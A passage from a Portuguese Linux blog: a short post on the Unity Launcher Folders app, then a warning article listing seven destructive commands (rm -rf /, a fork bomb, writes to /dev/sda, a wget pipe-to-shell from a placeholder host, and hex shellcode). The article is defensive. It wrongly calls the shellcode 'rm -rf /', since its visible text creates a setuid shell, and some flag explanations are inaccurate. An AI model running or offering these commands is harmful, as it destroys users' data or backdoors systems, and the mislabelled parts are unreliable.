Este programa é muito versátil e tem vários opções que você pode usar para criar grupos de aplicativos. Mas antes de falarmos mais dele, o primeiro passo é você instalá-lo no seu Ubuntu com Unity. Para isso, acesse o site oficial e baixe o pacote .deb de lá, instale dando dois cliques.

Leia também: Crie grupos de Apps no Gnome Shell

Depois de instalado, você vai encontrar o aplicativo "Unity Launchers Folders" na Dash do Unity, abrindo ele você terá acesso a criação e manipulação das suas "gavetas" de Apps e atalhos.

Unity Folders

Você pode clicar no botão de "mais" para criar as pastas, depois basta arrastar os ícones do menu para ela, escolhendo o nome que você bem entender. Há também a possibilidade de você criar atalhos com pastas do sistema e até mesmo links de sites do Google Chrome e do Firefox, basta arrastas os atalhos para o janela do programa.


É uma ferramenta bem eficaz, não? Faça o teste.

Até a próxima! :)
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quinta-feira, 26 de janeiro de 2017

7 comandos perigosos do Linux que você NUNCA deve executar

Como o número de usuários leigos de Linux vem aumentando com o tempo, acho pertinente alertar as pessoas sobre alguns comandos que podem ser perigosos, tanto para o sistema, quanto para os dados contidos no computador.

7 Comandos perigosos do mundo Linux




O terminal é uma ferramenta muito poderosa, por conta disso é bom você dominá-lo, ou pelo menos entendê-lo, para evitar problemas no seu sistema baseado em Linux.
Veja também: O curso no Diolinux EAD para aprender a dominar o terminal
Os grandes problemas que você pode enfrentar usando o terminal de forma indiscriminada normalmente estão atrelados a comandos de sobrescrita de dados, então vamos mostrar alguns aqui que você deve prestar especial atenção quando vir alguém sugerindo que você faça no seu computador com Linux.

Atenção: Você NÃO deve executar nenhum destes comandos no seu computador, isso pode causar danos irreversíveis que nós não nos responsabilizamos, o artigo tem a intenção de ser instrutivo, justamente para evitar este tipo de situação.

1 - rm -rf


É um comando clássico do do Linux que teoricamente não faz nada de mais, ele serve apenas para apagar arquivos, e é aí que mora o perigo. Dependendo da forma que ele for aplicativo o resultado pode ser muito desagradável, por isso é importante você entender o que os comandos fazem, vamos explicar um pouco melhor neste exemplo:
- rm: comando usado no Linux para deletar arquivos.
- rm -r: o comando deleta pastas recursivamente, mesmo que a pastas esteja vazia.
- rm -f: cUsando este parâmetro, o propriedade de "apenas leitura" que um arquivo tenha é removida sem perguntar, permitindo que o arquivo seja apagado.
- rm -rf / : Usando a combinação dos dois parâmetros com a "/" você diz para o sistema apagar tudo que está no diretório raiz do sistema.
- rm -rf * : Força o apagamento de tudo que está no diretório atual ou no de trabalho, dependendo de onde você estiver.
- rm -rf . : Acrescentando um ponto, você pode apagar também as pastas ocultas, além das normais.

Tome muito cuidado ao executar um comando destes, especialmente se for feito como root ou usando o sudo.


Tão perigoso que pode ser este comando, que atualmente o Linux se protege contra ele, se você rodá-lo, mesmo com sudo ou como root, ele não vai funcionar, para isso é preciso usar os parâmetros descritos na imagem acima. Da mesma forma que o Linux protege você de destruir o sistema sem querer, ele também permite que você o destrua mediante a ter certeza de que é realmente isso que você quer, curioso, não é?

2 - :(){:|:&};:


Este comando funciona como uma "Fork Bomb", ele opera definindo uma função chamada ':', que se chama duas vezes, uma vez em primeiro plano e outra em segundo plano, o processo se repete indefinidamente até que o sistema trave.

3 - qualquer comando para > /dev/sda


A forma com que o Linux lê as partições e discos é diferente do Windows, por conta disso, normalmente novatos não conseguem entender em primeira instância como eles são distribuídos. Normalmente a localização dos dispositivos de armazenamento do sistema ficam dentro de /dev, sendo que podem haver vários por ali e normalmente o sda está presente.

O problema do comando acima é que ele redireciona a saída de qualquer comando que seja colocado para o seu bloco de armazenamento, desta foma sobrescrevendo alguns dados e corrompendo outros.

4 - mv pasta/diretório /dev/null


Eu costumava brincar sobre o /dev/null me referindo a ele como o "buraco negro" do Linux. Tudo que é enviado para ele é perdido "para sempre". Então tome cuidado ao mover qualquer coisa para esta localização. O comando mv serve para mover arquivos ou diretórios para o destino indicado, se este destino for o /dev/null você estará mandando seus arquivos pra Nárnia.

5 - wget http://malicious_source -O- | sh


Este comando vai aparecer para você instalar alguns programas. O wget é o programa responsável por fazer o download da URL que vem logo após, ele é bem útil para baixar arquivos em geral, o problema está no arquivo que ele baixa e na sequência do comando  que o executa no caso dele ser um shell script. Só baixe arquivos desta forma de fontes que você considera confiáveis e se estiver na dúvida, baixe apenas o arquivo de shell, eliminando qualquer parâmetro que apareça após o link, assim você pode abrir ele em um editor de texto de sua preferência e verificar o que há dentro dele.

6 - dd if=/dev/random of=/dev/sda


Assim como o ítem 3 da nossa lista, o grande problema aqui é o destino ser o /dev/sda. Tome cuidado. O comando dd pode ser muito útil para copiar arquivos e até mesmo partições inteiras, como no exemplo 6, mas se a saída for um outro disco, tome cuidado, pois o resultado irá sobrepor os dados lá existentes.

7 - Comandos disfarçados


Como eu comentei à princípio, o terminal é uma ferramenta poderosa, se você não dominá-lo, é bom ter cuidado com que você for rodar nele, se o você não fala a língua do terminal, saiba que ele fala muitas outras. O comando abaixo nada mais é do que o comando indicado no primeiro item da nossa lista, só que em forma hexadecimal.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

Ele tem o mesmo propósito do famigerado "rm -rf /", por isso, não rode coisas no terminal que você não sabe para quem servem, existem muito conteúdo grátis a internet para você estudar sobre e até mesmo alguns bons cursos pagos, como é o caso do "Dominando o Terminal" aqui do blog mesmo, mas em linhas gerais, se você evitar colocar comandos que você não sabe para que servem direito, os problemas já serão minimizados. 

Agora espalhe este conhecimento para ajudar mais pessoas a ficarem precavidas sobre estes pequenos percalços da vida computacional.

Até a próxima!
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quarta-feira, 25 de janeiro de 2017